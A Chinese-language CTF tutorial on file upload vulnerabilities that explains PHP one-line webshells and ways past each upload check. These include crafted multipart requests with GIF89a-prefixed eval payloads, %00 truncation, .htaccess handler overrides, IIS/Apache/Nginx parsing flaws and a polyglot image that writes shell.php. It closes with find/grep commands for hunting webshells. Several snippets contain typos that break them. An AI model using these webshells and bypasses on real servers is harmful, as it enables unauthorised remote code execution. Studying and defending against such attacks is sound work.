在CTF中,通常文件上传成功后,服务器会返回flag;或者在混战模式下,通过上传木马文件,getshell

文件上传漏洞:上传文件时,如果服务器脚本语言,未对上传的文件进行严格的验证和过滤,就容易造成上传任意文件,包括脚本文件Webshell

Webshell:通过网站端口取得对网站服务器某种程度上的操作权限。

Webshell原理

  1. <?php @eva1($_POST['c']);?>

@:抑制错误信息即使有错误也不返回。
eval:把字符串作为PHP代码执行。
$_POST[‘c’]:POST接收一个c=xxxx的指令。c是可以自行更改的。

上传文件检测流程

客户端检测

function CheckFileType()
{
    var objButton=document.getElementByld("Button1");//上传按钮
    var objFileUpload=document.getElementByld("FileUpload1");
    var objMSG=document.getElementByld("msg");//显示提示信息用DIV 
    var FileName=new String(objFileUpload.value);//文件名
    var extension=new String(FilieName.substring(FileName.lastIndexOf(".")+1,FileName.length));//文件扩展名
    if(extension=="gif"||extension=="gif")//可以另行添加扩展名
    {
    objButton.disabled=false;//启用上传按钮
    objMSG.innerHTML="文件检测通过";
    }
    else
    {
    objButton.disabled=true;//禁用上传按钮
    objMSG.innerHTML="请选择正确的文件上传";
    }
}

服务端检测

  • 服务端目录路径检测
  • 服务端文件扩展名检测
  • 服务端MIME类型检测
  • 服务端文件内容检测
POST /web/upload/upload.php?
Command=FileUpload&Type=lmage&CurrentFolder=1.php%00.gif HTTP/1.1
Host: localhost 
Content-Type: multipart/form-data; boundary=------41184676334
Content-Length:472
Connection: close---------------41184676334
Content-Disposition: form-data; name="dir"
-----------------41184676334
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/gif 

GIF89a
<? php eval($_POST['hacker'])? >
----------------41184676334

客户端检测

客户端JavaScript检测(一般只检测扩展名)

判断方式:

  • 没有经过代理(BP)就可以证明客户端是JavaScript检测。
  • 浏览器加载文件。但还没有点击上传按钮,就会弹出对话框提示文件类型不对之类

绕过方式

  • 配置BP代理进行抓包,然后再将文件名shell.jpg改为shell.php
  • 上传页面,审查元素,修改/禁止JavaScript检测函数

服务端检测

$_FILES对象
php通过$_FILES对象读取文件,通过下列几个属性

  • $_FILES[‘file’][‘name’]被上传文件的名称
  • $_FILES[‘file’][‘type’]被上传文件的类型
  • $_FILES[‘file’][‘size’]被上传文件的大小(字节)
  • $_FILES[‘file’][‘tmp_name’]被上传文件在服务器保存的临时文件名,可以在php.ini中指定,通常位于临时目录中

检测方式

  • MIME类型检测 //检测content-type字段(image/gif)
  • 文件内容检测 //检测文件幻数、相关信息
  • 目录路径检测 /检测跟path参数相关的内容
  • 文件扩展名检测 //检测跟文件extension相关的内容(blacklist,whitelist)

MIME类型检测

测试代码:

<? php 
if($_FILES['file']['type']!="image/gif"){
    echo "Sorry, we only allow uploading GIF images"; 
    exit;
}
$uploaddir='./';
$uploadfile=$uploaddir.basename($_FILES['file']['name']); if(move_uploaded_file($_FILES['file']['tmp_name'],$uploadfile)){
    echo "File is valid, and was successfully uploaded.\n";
} 
else{
    echo"File uploading failed.\n";
}
? >

绕过方法:
使用代理工具BP抓包修改Content-Type

POST /web/upload/upload.php?
Command=FileUpload&Type=lmage&CurrentFolder=1.php%00.gif HTTP/1.1
Host: localhost 
Content-Type: multipart/form-data; boundary=------41184676334
Content-Length:472
Connection: close---------------41184676334
Content-Disposition: form-data; name="dir"
-----------------41184676334
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/gif 

GIF89a
<? php eval($_POST['hacker'])? >
----------------41184676334

文件内容检测

文件幻数检测

文件头标识
JPG:FF D8 FF E0 00 10 4A 46 49 46
GIF:47 49 46 38 39 61(GIF89a)
PNG:89 50 4E 47

绕过方法:
在文件幻数后加上一句话木马

文件相关信息检测
一般是检查图片文件的大小、尺寸之类的信息
绕过方法:

  • 伪造好文件幻数,在后面添加一句话木马,再添加其他内容增大文件大小。
  • 通常在一个结构完整的文件,进行代码注入上传即可

目录路径检测

测试代码:漏洞:CVE-2015-2348

<? php 
error_reporting(0);
if(isset($_POSTt['upload'])){
    $ext_arr = array('flv','swt','mp3','mp4','3gp','zip','rar','gif','jpg','png','bmp');
    $file_ext = substr($_FILES['file']['name'],strpos($_FILES['file']['name'],".")+1);
    if(in_array($file_ext,$file_arr)){
        $tempFile=$_FILES['fi1e']['tmp_name'];
        //这里的SREQUEST['Jieduan']造成可以利用截断上传
        $targePath=$_SERVER['DOCUMENT_ROOT'].$_REQUESTt['jieduan'].rand(10,99).date('YmdHis').".".$file_ext;
        if(move_uploaded_file($tempFile,$targePath)){
            echo'上传成功'.<br>;
            echo'路径'.$targePath;
        }
        else 
            echo("上传失败");
    }       
else
    echo("上传失败");
}

move_upload_file检测$_FILE指定的文件是否合法,参数有两个$tempFile、$targePath
前者为临时文件;后者为移动的最终路径,其中_REQUEST参数用户可控,可以添加截断%00

//例如如下代码 不会创建名为file.php\x00.jpg 而会创建file.php
move_uploaded_file($_FILES['name']['tmp_name'],"/file.php\x00.jpg");

$_FILE[‘xxx’][‘name’]不受影响

绕过方式:
BP抓包,修改可控变量,使用空字符截断 %00 0x00 chr(0)

POST /web/upload/upload.php? jieduan=1.php%00 HTTP/1.1
Host: localhost 
Content-Type: multipart/form-data; boundary=------41184676334
Content-Length:472
Connection: close---------------41184676334
Content-Disposition: form-data; name="dir"
-----------------41184676334
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/gif 

GIF89a
<? php eval($_POST['hacker'])? >
----------------41184676334

文件扩展名检测

Blacklist:

php php2 hph3 php4 php5 pht asp aspx ascx jsp bat exe dll等

绕过方法:

  • 尝试未写入黑名单的后缀名。
  • IIS默认支持解析.asp .cdx .asa .cer等
  • 尝试大小写绕过pHp
  • shell.php. 或者shell.php_ //下划线表示空格 Linux/Unix不支持 IIS支持 在bp里修改绕过验证后 会被windows系统自动去掉点和空格
  • 空字符截断 %00 0x00 chr(0)
  • .htaccess 文件攻击(Apache)
    我们可以上传一个自定义的.htaccess文件,代码意思为统一执行包含字符串a.jpg的任意文件,再上传a.jpg文件的一句话木马
<FilesMatch "a.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

Whitelist

jpg png gif doc docx xls等

绕过方式:

  • IIS默认支持解析.asp .cdx .asa .cer等
  • 空字符截断 %00 0x00 chr(0)

一些其他的绕过方法
IIS5.x-6.x版本的解析漏洞

  • 目录解析(6.0)
    URL:www.xxx.com/xx.asp/xx.jpg
    原理:服务器默认会把.asp,asa目录下的文件都解析成asp文件。
  • 文件解析
    URL:www.xxx.com/xx.asp;.jpg
    原理:服务器默认不解析分号后面的内容,因此xx.asp;.jpg便被解析成asp文件。
  • 解析文件类型
    IIS6.0默认的可执行文件除了asp还包含这三种:test.asa、test.cer、test.cdx

Apache解析漏洞

  • 文件解析
    URL:test.php.owf.rar
    原理:Apache解析文件的规则是从右到左开始判断解析 rar owf无法识别就会被解析成test.php
  • 其余配置问题

    • 配置1:AddHandler php5-script.php 只要文件名中包含php 字符串 都会以php文件执行
      形式:test2.php.jpg
    • 配置2:AddType application/x-httpd-php.jpg
      形式:即使扩展名是jpg,一样能以php方式执行。

Nginx解析漏洞
都是由PHP CGI解析问题造成;FastCGI必须开启。
利用方法:
将一张图和一个后门代码的文本文件合并

copy test.jpg/b + test.txt/a test.jpg

test.txt内容

<? php 
fputs(fopen("shell.php","w"),'<? php eval($_POST["cmd"]);?>')
? >

上传test.jpg文件后 访问URL test.php文件不存在 php递归向前解析 把test.jpg当作php脚本解析 就会在当前目录下生成shell.php木马文件

www.xxxx.com/UploadFiles/image/test.jpg/test.php 
www.xxxx.com/UploadFiles/image/test.jpg%00.php 
www.xxxx.com/UploadFiles/image/test.jpg/%20\test.php

恶意文件排查

Webshell检测
Linux命令查找可疑文件
find-mmin n-name*.php/var/www/html/查找web目录中最后N分钟被改变文件数据的PHP文件(modify attributes)

access time 表示最后一次访问(仅仅是访问,没有改动)文件的时间
modify time 表示最后一次修改文件的时间
change time 表示最后一次对文件属性改变的时间,包括权限,大小,属性等等。

2)find. -name “*.php” -print0 | xargs -0 grep -rn ‘shell_exec’
查找所有php文件中是否有shell_exec字符
3)grep -i keyword “eval”
搜索当前目录及子目录中所有的文件,若遇到关键字eval,则打印包含该关键字的整行内容。
建议:可查找webshell常用函数eval、assert、base64_encode/base64_decode、gzcompress/gzuncompress等。